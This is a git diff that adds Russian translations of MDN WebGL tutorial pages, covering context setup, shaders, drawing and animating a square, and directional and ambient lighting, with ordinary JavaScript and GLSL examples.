На данном этапе очень важно понять одну вещь: не смотря на то, что мы в этом примере отрисовываем двухмерный объект, мы по-прежнему отрисовываем его в трехмерном пространстве. По существу, нам по-прежнему необходимо создать шейдеры, которые будут освещать нашу простую сцену,  и отрисовать наш объект. На данном шаге определим как квадрат будет освещаться.

+ +

Инициализация шейдеров

+ +

Шейдеры задаются при помощи языка высокого уровня для программирования шейдеров - OpenGL ES Shading Language. Для того, чтобы сделать проще процесс поддержки и обновления нашего контента, мы можем фактически написать наш код, загружающий шейдеры и помещающий их в HTML документ, вместо того, чтобы встраивать его весь в JavaScript. Давайте рассмотрим нашу процедуру initShaders(), которая выполнит эту задачу:

+ +
function initShaders() {
+  var fragmentShader = getShader(gl, "shader-fs");
+  var vertexShader = getShader(gl, "shader-vs");
+
+  // создать шейдерную программу
+
+  shaderProgram = gl.createProgram();
+  gl.attachShader(shaderProgram, vertexShader);
+  gl.attachShader(shaderProgram, fragmentShader);
+  gl.linkProgram(shaderProgram);
+
+  // Если создать шейдерную программу не удалось, вывести предупреждение
+
+  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+    alert("Unable to initialize the shader program.");
+  }
+
+  gl.useProgram(shaderProgram);
+
+  vertexPositionAttribute = gl.getAttribLocation(shaderProgram, "aVertexPosition");
+  gl.enableVertexAttribArray(vertexPositionAttribute);
+}
+
+
+ +

Этой процедурой загружаются две шейдерные программы. Первая - фрагментный шейдер, загружается из элемента script с ID "shader-fs". Вторая - вершинный шейдер, загружается из элемента script с ID "shader-vs". Мы рассмотрим функцию getShader() чуть ниже. Эта процедура фактически отвечает за извлечение шейдерных программ из DOM.

+ +

Затем мы создаем шейдерную программу, вызывая функцию createProgram() объекта WebGL, присоединяя два шейдера к нему, и связывая шейдерную программу. После выполнения этого, проверяется значение параметра LINK_STATUS объекта gl для того, чтобы убедиться, что программа успешно скомпанована. Если это так, мы активируем новую шейдерную программу.

+ +

Загрузка шейдеров из DOM

+ +

Функция getShader() получает из DOM шейдерную программу с определенным именем, возвращая скомпилированную шейдерную программу вызывающему, или значение null, если шейдерная программа не может быть загружена или скомпилирована.

+ +
function getShader(gl, id) {
+  var shaderScript, theSource, currentChild, shader;
+
+  shaderScript = document.getElementById(id);
+
+  if (!shaderScript) {
+    return null;
+  }
+
+  theSource = "";
+  currentChild = shaderScript.firstChild;
+
+  while(currentChild) {
+    if (currentChild.nodeType == currentChild.TEXT_NODE) {
+      theSource += currentChild.textContent;
+    }
+
+    currentChild = currentChild.nextSibling;
+  }
+
+ +

Как только элемент с указанным ID найден, его текст помещается в переменную theSource.

+ +
  if (shaderScript.type == "x-shader/x-fragment") {
+    shader = gl.createShader(gl.FRAGMENT_SHADER);
+  } else if (shaderScript.type == "x-shader/x-vertex") {
+    shader = gl.createShader(gl.VERTEX_SHADER);
+  } else {
+     // неизвестный тип шейдера
+     return null;
+  }
+ +

После того, как код для шейдера считан, мы проверяем MIME тип шейдерного объекта, чтобы определить является он вершинным (MIME type "x-shader/x-vertex") или фрагментным (MIME type "x-shader/x-fragment") шейдером, а затем создаем соответствующий тип шейдера из полученного исходного кода.

+ +
  gl.shaderSource(shader, theSource);
+
+  // скомпилировать шейдерную программу
+  gl.compileShader(shader);
+
+  // Проверить успешное завершение компиляции
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+      alert("An error occurred compiling the shaders: " + gl.getShaderInfoLog(shader));
+      return null;
+  }
+
+  return shader;
+}
+
+ +

В результате, исходный код, передан в переменную shader и скомпилирован. Если произошли ошибки во время компиляции кода шейдера, мы отображаем окно с предупреждением и возвращаем значение null; Иначе, возвращается новый скомпилированный шейдер.

+ +

Шейдеры

+ +

После этого нам необходимо добавить шейдерные программы в HTML описывающий наш документ. Подробная информация о том, как работают шейдеры выходит за рамки этой статьи, как и впрочем описание синтаксиса языка программирования шейдеров.

+ +

Фрагментный шейдер

+ +

Каждый пиксель в полигоне называется фрагментом в языке GL. Фрагментные шейдеры необходимы для назначения цвета для каждого пикселя. В данном случае, мы просто назначаем белый цвет каждому пикселю.

+ +

gl_FragColor - встроенная переменная GL, используемая для управления цветом фрагментов. Устанавливая ее значение назначаем цвет пикселям. Ниже приведен пример этого.

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  void main(void) {
+    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+  }
+</script>
+
+ +

Вершинный шейдер

+ +

Вершинный шейдер определяет положение и форму каждой вершины.

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute vec3 aVertexPosition;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+  }
+</script>
+
+ +

Создание объекта

+ +

Перед тем, как мы отрисуем наш квадрат, нам необходимо создать буфер, который содержит его вершины. Мы сделаем это,  вызвав функцию initBuffers(). По мере ознакомления с другими концепциями WebGL, эта функция будет усложняться при создании более сложных трехмерных объектов.

+ +
var horizAspect = 480.0/640.0;
+
+function initBuffers() {
+  squareVerticesBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+
+  var vertices = [
+    1.0,  1.0,  0.0,
+    -1.0, 1.0,  0.0,
+    1.0,  -1.0, 0.0,
+    -1.0, -1.0, 0.0
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW);
+}
+
+ +

В этом примере эта функция упрощена и дает оценить основную суть сцены. Она начинает работу с вызова метода createBuffer() объекта gl для получения буфера, в котором мы будем хранить вершины. Затем он привязывается к контексту, вызовом метода bindBuffer().

+ +

После того, как мы это сделали, мы создаем JavaScript массив, содержащий координаты для каждой вершины квадрата. Затем этот массив преобразуется в массив вещественных чисел WebGL и передается в метод bufferData() объекта gl для назначения вершин объекту.

+ +

Отрисовка сцены

+ +

Как только шейдеры установлены и объект создан, мы можем действительно отрисовать сцену. Поскольку в этом примере нет какой-либо анимации, наша функция drawScene() имеет очень простой вид. Она использует несколько утилитарных процедур, которые мы кратко рассмотрим ниже.

+ +
function drawScene() {
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+
+  loadIdentity();
+  mvTranslate([-0.0, 0.0, -6.0]);
+
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+  gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);
+  setMatrixUniforms();
+  gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
+}
+
+ +

Первый шаг - очистка цветом фона сцены контекста. Затем мы устанавливаем перспективу камеры. Мы устанавливаем угол обзора в 45°, с соотношением ширины к высоте равным 640/480 (размеры нашего объекта canvas). Мы также определяем, что мы хотим видеть отрисованными объекты на расстоянии от 0.1 до 100 единиц от камеры.

+ +

Затем мы устанавливаем позицию квадрата, загружая определенную позицию и размещая ее от камеры на 6 единиц. После этого, мы привязываем буфер, содержащий вершины квадрата к контексту, настраиваем его, и отрисовываем объект, вызывая метод drawArrays().

+ +

Вы можете посмотреть как это работает щелкнув по этой ссылке. Но это только в том случае, если используемый браузер осуществляет поддержку WebGL.

+ +

Операции над матрицами

+ +

Операции над матрицами достаточно сложны. Никому бы не хотелось самому писать весь код для работы с ними. К счастью, есть Sylvester - очень удобная библиотека для выполнения операций над векторами и матрицами, написанная на JavaScript.

+ +

Файл glUtils.js, используемый в этом примере, используется большинством примеров на WebGL, размещенных в сети интернет. Никто не знает точно откуда он появился. Он просто используется Sylvester и он даже пополняется методами для построения специальных типов матриц, а также вывода HTML для их отображения.

+ +

Также, этот пример определяет несколько полезных процедур взаимодействия с этими библиотеками для выполнения определенных задач. Пояснения относительно того, что делает каждая из приведенных функций, выходят за рамки этого примера, но в сети есть много хороших материалов об операциях над матрицами. Чуть {{ anch("ниже") }} есть список некоторых из них.

+ +
function loadIdentity() {
+  mvMatrix = Matrix.I(4);
+}
+
+function multMatrix(m) {
+  mvMatrix = mvMatrix.x(m);
+}
+
+function mvTranslate(v) {
+  multMatrix(Matrix.Translation($V([v[0], v[1], v[2]])).ensure4x4());
+}
+
+function setMatrixUniforms() {
+  var pUniform = gl.getUniformLocation(shaderProgram, "uPMatrix");
+  gl.uniformMatrix4fv(pUniform, false, new Float32Array(perspectiveMatrix.flatten()));
+
+  var mvUniform = gl.getUniformLocation(shaderProgram, "uMVMatrix");
+  gl.uniformMatrix4fv(mvUniform, false, new Float32Array(mvMatrix.flatten()));
+}
+
+ +

Смотрите также

+ + + +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

diff --git a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html new file mode 100644 index 0000000000..6d18ab5490 --- /dev/null +++ b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html @@ -0,0 +1,123 @@ +--- +title: Оживление объектов при помощи WebGL +slug: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL +tags: + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

+ +

Наш код оставшийся от предыдущего примера уже насроен на перерисовку нашей WebGL сцены каждые 15 миллисекунд. До сих пор мы просто отрисовывали в точности одно и то же каждый раз. Пришло время изменить это так, чтобы наш квадрат начал двигаться.

+ +

В этом примере мы заставим наш двумерный квадрат вращаться и двигаться во всех трёх направлениях. Это докажет, что не смотря на то, что мы создавали всего-лишь двумерный объект, он всё ещё существует в трёхмерном пространстве.

+ +

Заставим квадрат вращаться

+ +

Давайте начнём с того, что заставим квадрат вращаться. Для начала нам понадобится переменная значение в которой будет отражать текущий угол поворота нашего квадрата:

+ +
var squareRotation = 0.0;
+
+ +

Теперь нам надо изменить процедуру drawScene() и добавить в неё код, который бы учитывал этот угол поворота при отрисовке квадрата в нашей сцене. После первоначального рассчёта матрицы положения для квадрата мы применяем условия поворота следующим образом:

+ +
mvPushMatrix();
+mvRotate(squareRotation, [1, 0, 1]);
+
+ +

Этот код сохраняет матрицу текущего положения, затем поворачивает матрицу на текущее значение переменной squareRotation вокруг осей X и Z.

+ +

После отрисовки мы восстанавливаем изначальное состояние матрицы положения:

+ +
  mvPopMatrix();
+
+ +

Мы сохраняем и восстанавливаем состояние матрицы положения чтобы избежать влияние поворота на другие объекты, которые мы можем захотеть отобразить.

+ +

Чтобы заставить квадрат крутиться нам нужно добавить в программу код, который будет изменять значение переменной squareRotation во времени. Для этого мы заведём ещё одну переменную в которую будем записывать время последней отрисовки (давайте назовём её lastSquareUpdateTime), затем добавим следующий код в конец нашей процедуры drawScene():

+ +
  var currentTime = (new Date).getTime();
+  if (lastSquareUpdateTime) {
+  	var delta = currentTime - lastSquareUpdateTime;
+
+  	squareRotation += (30 * delta) / 1000.0;
+  }
+
+  lastSquareUpdateTime = currentTime;
+
+ +

Этот код использует количество времени прошедшего с момента, когда мы в последний раз изменяли значение переменной squareRotation чтобы определить как сильно нужно повернуть квадрат.

+ +

Сделаем так, чтобы квадрат начал двигаться

+ +

Мы можем также заставить наш квадрат двигаться изменяя его позицию перед отрисовкой. Этим примером мы собираемся продемонстрировать самые основные движения, очевидно, что в реальном мире вы бы сделали что-нибудь менее безумное.

+ +

Давайте отслеживать сдвиг положения квадрата по каждой оси в новых переменных:

+ +
var squareXOffset = 0.0;
+var squareYOffset = 0.0;
+var squareZOffset = 0.0;
+
+ +

И расстояние на которое нужно сместить квадрат по каждой из осей в следующих переменных:

+ +
var xIncValue = 0.2;
+var yIncValue = -0.4;
+var zIncValue = 0.3;
+
+ +

Теперь мы можем просто добавить следующий код к уже написанному, который обновляет положение угла поворота:

+ +
    squareXOffset += xIncValue * ((30 * delta) / 1000.0);
+    squareYOffset += yIncValue * ((30 * delta) / 1000.0);
+    squareZOffset += zIncValue * ((30 * delta) / 1000.0);
+
+    if (Math.abs(squareYOffset) > 2.5) {
+      xIncValue = -xIncValue;
+      yIncValue = -yIncValue;
+      zIncValue = -zIncValue;
+    }
+
+ +

И, наконец, мы добавляем в процедуру drawScene() следующий код:

+ +
mvTranslate([squareXOffset, squareYOffset, squareZOffset]);
+ +

Это заставит наш квадрат двигаться по экрану, приближаясь и удаляясь от наблюдателя и при этом ещё и вращаться. Это похоже на работу заставки

+ +

Если ваш браузер поддерживает работу с WebGL, проследуйте по этой ссылке, чтобы посмотреть на этот пример в действии.

+ +

Больше операций с матрицами

+ +

Этот пример использует несколько дополнительных операций над матрицами включая две утилиты для работы со стэком состояния матриц и одну, поворачивающую матрицу положения на заданное количество градусов. Далее приведён код для вашего удобства:

+ +
var mvMatrixStack = [];
+
+function mvPushMatrix(m) {
+  if (m) {
+    mvMatrixStack.push(m.dup());
+    mvMatrix = m.dup();
+  } else {
+    mvMatrixStack.push(mvMatrix.dup());
+  }
+}
+
+function mvPopMatrix() {
+  if (!mvMatrixStack.length) {
+    throw("Can't pop from an empty matrix stack.");
+  }
+
+  mvMatrix = mvMatrixStack.pop();
+  return mvMatrix;
+}
+
+function mvRotate(angle, v) {
+  var inRadians = angle * Math.PI / 180.0;
+
+  var m = Matrix.Rotation(inRadians, $V([v[0], v[1], v[2]])).ensure4x4();
+  multMatrix(m);
+}
+
+ +

Эти утилиты были заимствованы из примера разработанного Владом Вукицевичем (Vlad Vukićević).

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

diff --git a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html new file mode 100644 index 0000000000..0e50af82fa --- /dev/null +++ b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html @@ -0,0 +1,104 @@ +--- +title: Начало работы с WebGL +slug: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +tags: + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}

+ +

WebGL позволяет веб-контенту использовать API, основанный на OpenGL ES 2.0, для визуализации трехмерной графики без использования плагинов в HTML элементе canvas в браузерах, которые осуществляют его поддержку. WebGL программы состоят из кода управления, написанном на JavaScript и кода специальных эффектов (шейдерного кода), который выполняется на графическом процессоре. WebGL элементы могут быть смешаны с другими HTML элементами и собраны с другими частями веб-страницы или фоном веб-страницы.

+ +

Эта статья знакомит вас с основами использования WebGL. Предполагается, что вы уже знакомы с математическими основами трехмерной графики. Данная статья не обучит вас OpenGL.

+ +

Подготовка к визуализации в 3D

+ +

Первое, что вам понадобится для использования WebGL для визуализации в 3D - это элемент canvas. Фрагмент на HTML ниже содержит элемент canvas и определяет обработчик события onload, которое инициализирует наш контекст WebGL.

+ +
<body onload="start()">
+  <canvas id="glcanvas" width="640" height="480">
+    Your browser doesn't appear to support the HTML5 <code>&lt;canvas&gt;</code> element.
+  </canvas>
+</body>
+
+ +

Подготовка контекста WebGL

+ +

Функция start(), в нашем JavaScript коде вызывается после загрузки документа. Ее назначение - настройка контекста WebGL и начать отрисовку содержимого.

+ +
var gl; // глобальная переменная для контекста WebGL
+
+function start() {
+  var canvas = document.getElementById("glcanvas");
+
+  gl = initWebGL(canvas);      // инициализация контекста GL
+
+  // продолжать только если WebGL доступен и работает
+
+  if (gl) {
+    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // установить в качестве цвета очистки буфера цвета черный, полная непрозрачность
+    gl.enable(gl.DEPTH_TEST);                               // включает использование буфера глубины
+    gl.depthFunc(gl.LEQUAL);                                // определяет работу буфера глубины: более ближние объекты перекрывают дальние
+    gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);      // очистить буфер цвета и буфер глубины.
+  }
+}
+
+ +

Первое, что мы здесь делаем - получаем ссылку на элемент canvas, помещаем ее в переменную canvas. Очевидно, что если вам не требуется многократно получать ссылку на canvas, вы должны избежать сохранения этого значения глобально, а только сохранить ее в локальной переменной или в поле объекта.

+ +

Как только мы получили ссылку на canvas, мы вызываем функцию initWebGL(); Эту функцию мы определяем незамедлительно, ее работа - инициализировать контекст WebGL.

+ +

Если контекст успешно инициализирован, в gl будет содержаться ссылка на него. В этом случае, мы устанавливаем цвет очистки буфера цвета (цвет фона) на черный, затем очищаем контекст этим цветом. После этого, контекст конфигурируется параметрами настройки. В данном случае, мы включаем буфер глубины и определяем, что более близкие объекты будут перекрывать более дальние.

+ +

Всё вышеперечисленное необходимо сделать только для первоначальной инициализации. Чуть позже мы увидим работу по визуализации трехмерных объектов.

+ +

Создание контекста WebGL

+ +

Функция initWebGL() выглядит следующим образом:

+ +
function initWebGL(canvas) {
+  gl = null;
+
+  try {
+    // Попытаться получить стандартный контекст. Если не получится, попробовать получить экспериментальный.
+    gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+  }
+  catch(e) {}
+
+  // Если мы не получили контекст GL, завершить работу
+  if (!gl) {
+    alert("Unable to initialize WebGL. Your browser may not support it.");
+    gl = null;
+  }
+
+  return gl;
+}
+
+
+ +

Чтобы получить контекст WebGL для canvas, мы запрашиваем у элемента canvas контекст именуемый как "webgl". Если данная попытка завершается неудачно, мы пытаемся получить контекст, именуемый как "experimental-webgl". Если данная попытка также завершается неудачно, мы отображаем окно с предупреждением, позволяющим пользователю понять, что его браузер не поддерживает WebGL. Это всё, что необходимо сделать. На данном этапе мы будем иметь в переменной gl либо значение null (означающее, что контекст WebGL не доступен), либо ссылку на контекст WebGL в котором, мы будем производить отрисовку.

+ +
Обратите внимание: Контекст, именуемый как "experimental-webgl" - это временное имя для контекста, используемое на время процесса разработки спецификации. После того, как спецификация будет полностью разработана будет использоваться только имя контекста "webgl".
+ +

На данном этапе этого кода достаточно, чтобы успешно инициализировать контекст WebGL, и вы увидите пустой черный блок, готовый к заполнению контентом.

+ +

Если ваш браузер поддерживает WebGL, то вы можете посмотреть результат выполнения приведенного выше кода, щелкнув по этой ссылке.

+ +

Изменение размера контекста WebGL

+ +

Новый контекст WebGL будет иметь возможность задания размеров области отображения в момент получения контекста путем задания высоты и ширины элемента canvas, без использования CSS. Редактирование стиля элемента canvas будет изменять его отображаемый размер, без изменения размеров области отрисовки. Редактирование атрибутов ширины и высоты элемента canvas после создания контекста не будет также изменять число пикселей для отрисовки. Чтобы изменить размер области отрисовки, с которой WebGL производит работу, например, когда пользователь изменяет размер окна на весь экран или когда вам необходимо менять настройки графики в самом приложении, вам необходимо вызвать контекстную функцию WebGL viewport(), чтобы подтвердить изменения.

+ +

Чтобы изменить размер области отрисовки контекста WebGL с переменными gl и canvas, использующимися в примере выше:

+ +
gl.viewport(0, 0, canvas.width, canvas.height);
+ +

Элемент canvas будет изменять размер, в случае, если его отрисовать с другими размерами области отрисовки, чем те, что указаны в его стилях CSS, согласно которым он занимает место на экране. Изменение размера с помощью CSS наиболее полезно для сохранения ресурсов, отрисовывая с низким разрешением и позволяя браузеру растягивать полученный результат; сжимать возможно при использовании эффекта избыточной выборки сглаживания ( super sample antialiasing - SSAA) (приводит к менее приемлемым результатам и серьезным потерям производительности). В большинстве случаев лучше полагаться на множественную выборку сглаживания (MSAA) и на реализацию алгоритмов фильтрации текстур, которые поддерживаются браузером пользователя, чем делать то же самое посредством грубой силы и надеяться, что алгоритм масштабирования изображений, используемый браузером, выдаст красивый результат.

+ +

Смотрите также

+ + + +

{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}

diff --git a/files/ru/web/api/webgl_api/tutorial/index.html b/files/ru/web/api/webgl_api/tutorial/index.html new file mode 100644 index 0000000000..6f689fa9c3 --- /dev/null +++ b/files/ru/web/api/webgl_api/tutorial/index.html @@ -0,0 +1,39 @@ +--- +title: WebGL tutorial +slug: Web/API/WebGL_API/Tutorial +tags: + - WebGL +translation_of: Web/API/WebGL_API/Tutorial +--- +
{{WebGLSidebar}}
+ +
+

WebGL позволяет использовать API, основанную на OpenGL ES 2.0  для осуществления 3D рендеринга в HTML {{HTMLElement("canvas")}} в браузерах, которые его поддерживают без использования плагинов. WebGL программы состоят из программ, написанных на JavaScript, и специального кода шейдеров, который выполняется на видеокарте. WebGL элементы  могут использоваться с HTML элементами и скомпонованы с другими частями страницы или бэкграунда страницы.

+
+ +

В этом руководстве с нуля рассказывается о том, как использовать элемент<canvas> для отрисовки WebGL. Предоставленные примеры помогут вам понять, как можно использовать WebGL, также вы сможете использовать код из примеров как сниппеты для ваших разработок.

+ +

Перед тем как начать

+ +

Использование элемента <canvas>  - это не сложно, но вы должны понимать основы HTML и JavaScript. <canvas> и WebGL не поддерживаются в некоторых старых браузерах, но поддерживаются в последних версиях всех основных. Чтобы рисовать графику на canvas нужно использовать объекты контекста JavaScript, который создает графику на лету.

+ +

В этом руководстве

+ +
+
Начало работы с WebGL
+
Как настроить WebGL контекст.
+
Добавление 2D контекста в WebGL контекст
+
Как визуализировать простые плоские фигуры используя WebGL.
+
Использование шейдеров для добавления цвета в WebGL
+
Демонстрация того, как добавить цвет фигурам используя шейдеры.
+
Анимирование объектов с WebGL
+
Как поворачивать и передвигать объекты для создания простых анимаций.
+
Создание 3D объектов с WebGL
+
Как создать и анимировать 3D объект (куб).
+
Использование текстур в WebGL
+
Как перевести текстуру на поверхность объекта.
+
Освещение объектов в WebGL
+
Как симулировать эффект света в контексте WebGL.
+
Анимирование текстур в WebGL
+
Как анимировать текстуры; здесь путем отображения Ogg видео на поверхность вращающегося куба.
+
diff --git a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html new file mode 100644 index 0000000000..57c1b21e35 --- /dev/null +++ b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html @@ -0,0 +1,225 @@ +--- +title: Lighting in WebGL +slug: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL +translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

+ +

Вам уже должно быть понятно,что у WebGL нет много "встроенного знания". Он просто выполняет две функции, которые вы написали - вершинный шейдер и фрагментный шейдер, а функции, которые рисуют сцену должны написать вы сами. Другими словами, если вы хотите добавить освещение, то вы должны рассчитать его самостоятельно. К счастью, сделать это не сложно. В этой статье мы опишем некоторые основы.

+ +

Симуляция освещения и затенения в  3D

+ +

Хотя детали теории, лежащей в основе симуляции освещения в 3D-графике лежат далеко за пределами этой статьи, будет полезным немного узнать о том, как это работает. Посмотрите статью Затенение по Фонгу в Википедии, чтобы получить хороший обзор наиболее часто используемых моделей освещения. А в этой статье вы можете посмотреть объяснение, основанное на WebGL.

+ +

Существует три основных типа источников света:

+ +

Окружающий свет освещает всю сцену. Он не направленный и освещает все грани всех объектов одинаково, не зависимо от ориентации граней.

+ +

Направленный свет исходит из определенного направления. Этот свет приходит от настолько удаленного источника, что все фотоны летят параллельно друг другу. К примеру, солнечный свет можно считать.

+ +

Точечный свет исходит из одной точки во всех направлениях. В реальном мире многие источники освещения являются точечными, например электрическая лампочка.

+ +

В этой статье мы упростим модель освещения и будем использовать только простой направленный и окружающий свет. Мы не будем создавать блики на поверхности объектов ({{interwiki("wikipedia", "specular highlights")}}) и точечные источники света. Вместо этого мы добавим окружающий свет и направленный свет в сцену с вращающимся кубом из предыдущего примера.

+ +

Если оставить в стороне блики и точечные источники света, то останутся два пункта, которые нужно изучить по порядку:

+ +
    +
  1. Мы должны привязать нормаль поверхности к каждой вершине. Это вектор, который направлен перпендикулярно грани в данной вершине.
    2. +
  2. Нам нужно знать направление, в котором распространяется свет. Оно определяется вектором направления.
    3. +
+ +

Затем мы обновим вершинный шейдер, чтобы скорректировать цвет каждой вершины в зависимости от окружающего и направленного освещения с учетом угла падения на грань. Мы увидим, как это делается, когда посмотрим на код шейдера.

+ +

Построение нормали для вершин

+ +

Сначала нам нужно создать массив нормалей для всех вершин, из которых состоит наш куб. Это будет просто, потому что куб очень простой объект. Очевидно, что для более сложных объектов расчет нормалей будет более затратным.

+ +
  const normalBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, normalBuffer);
+
+  const vertexNormals = [
+    // Front
+     0.0,  0.0,  1.0,
+     0.0,  0.0,  1.0,
+     0.0,  0.0,  1.0,
+     0.0,  0.0,  1.0,
+
+    // Back
+     0.0,  0.0, -1.0,
+     0.0,  0.0, -1.0,
+     0.0,  0.0, -1.0,
+     0.0,  0.0, -1.0,
+
+    // Top
+     0.0,  1.0,  0.0,
+     0.0,  1.0,  0.0,
+     0.0,  1.0,  0.0,
+     0.0,  1.0,  0.0,
+
+    // Bottom
+     0.0, -1.0,  0.0,
+     0.0, -1.0,  0.0,
+     0.0, -1.0,  0.0,
+     0.0, -1.0,  0.0,
+
+    // Right
+     1.0,  0.0,  0.0,
+     1.0,  0.0,  0.0,
+     1.0,  0.0,  0.0,
+     1.0,  0.0,  0.0,
+
+    // Left
+    -1.0,  0.0,  0.0,
+    -1.0,  0.0,  0.0,
+    -1.0,  0.0,  0.0,
+    -1.0,  0.0,  0.0
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertexNormals),
+                gl.STATIC_DRAW);
+
+...
+
+  return {
+    position: positionBuffer,
+    normal: normalBuffer,
+    textureCoord: textureCoordBuffer,
+    indices: indexBuffer,
+  };
+
+
+ +

Код уже должен выглядеть узнаваемо. Мы создаем новый буфер, связываем его с рабочим буфером и записываем в него массив нормалей к вершинам при помощи bufferData().

+ +

Затем добавим в drawScene() код, который свяжет массив нормалей с атрибутом шейдера. Таким образом шейдер сможет получить к нему доступ:

+ +
  // Указываем WebGL как извлекать нормали из
+  // буфера нормалей в атрибут vertexNormal.
+  {
+    const numComponents = 3;
+    const type = gl.FLOAT;
+    const normalize = false;
+    const stride = 0;
+    const offset = 0;
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.normal);
+    gl.vertexAttribPointer(
+        programInfo.attribLocations.vertexNormal,
+        numComponents,
+        type,
+        normalize,
+        stride,
+        offset);
+    gl.enableVertexAttribArray(
+        programInfo.attribLocations.vertexNormal);
+  }
+
+ +

В конце нужно обновить код, который строит матрицы для uniform-переменных, чтобы создать и передать в шейдер матрицу нормалей, которая используется для трансформации нормалей при расчете ориентации куба относительно направления на источник света:

+ +
  const normalMatrix = mat4.create();
+  mat4.invert(normalMatrix, modelViewMatrix);
+  mat4.transpose(normalMatrix, normalMatrix);
+
+...
+
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.normalMatrix,
+      false,
+      normalMatrix);
+
+ +

Обновление шейдеров

+ +

Теперь у нас есть все данные для шейдеров. Пора обновить код самих шейдеров.

+ +

Вершинный шейдер

+ +

Сначала обновим вершинный шейдер, чтобы он рассчитывал значение освещения для каждой вершины на основе окружающего и направленного света. Посмотрим на код:

+ +
  const vsSource = `
+    attribute vec4 aVertexPosition;
+    attribute vec3 aVertexNormal;
+    attribute vec2 aTextureCoord;
+
+    uniform mat4 uNormalMatrix;
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    varying highp vec2 vTextureCoord;
+    varying highp vec3 vLighting;
+
+    void main(void) {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+      vTextureCoord = aTextureCoord;
+
+      // Применяем эффект освещения
+
+      highp vec3 ambientLight = vec3(0.3, 0.3, 0.3);
+      highp vec3 directionalLightColor = vec3(1, 1, 1);
+      highp vec3 directionalVector = normalize(vec3(0.85, 0.8, 0.75));
+
+      highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);
+
+      highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);
+      vLighting = ambientLight + (directionalLightColor * directional);
+    }
+  `;
+
+ +

После расчета позиции вершины мы передаем координаты текселя ({{Glossary("texel")}}), соответствующего вершине, во фрагментный шейдер, и начинаем расчет освещения вершины.

+ +

Сначала нужно преобразовать нормаль, основываясь на текущей ориентации куба - умножив нормаль вершины на матрицу нормалей. Затем мы можем рассчитать количество света от направленного источника, которое приходит в вершину, посчитав скалярное произведение преобразованной нормали и вектора направления (направления, с которого приходит свет). Если скалярное произведение меньше нуля, то мы принимаем его за ноль, потому что количество света не может быть меньше 0.

+ +

После расчета количества падающего направленного света мы можем посчитать финальное освещение, сложив окружающий свет и произведение количества направленного света на его цвет. В результате получается значение RGB, которое используется фрагментным шейдером для изменения цвета каждого пикселя.

+ +

Фрагментный шейдер

+ +

Фрагментный шейдер должен быть обновлен таким образом, чтобы он учитывал в значение освещения, рассчитанное в вершинном шейдере:

+ +
  const fsSource = `
+    varying highp vec2 vTextureCoord;
+    varying highp vec3 vLighting;
+
+    uniform sampler2D uSampler;
+
+    void main(void) {
+      highp vec4 texelColor = texture2D(uSampler, vTextureCoord);
+
+      gl_FragColor = vec4(texelColor.rgb * vLighting, texelColor.a);
+    }
+  `;
+
+ +

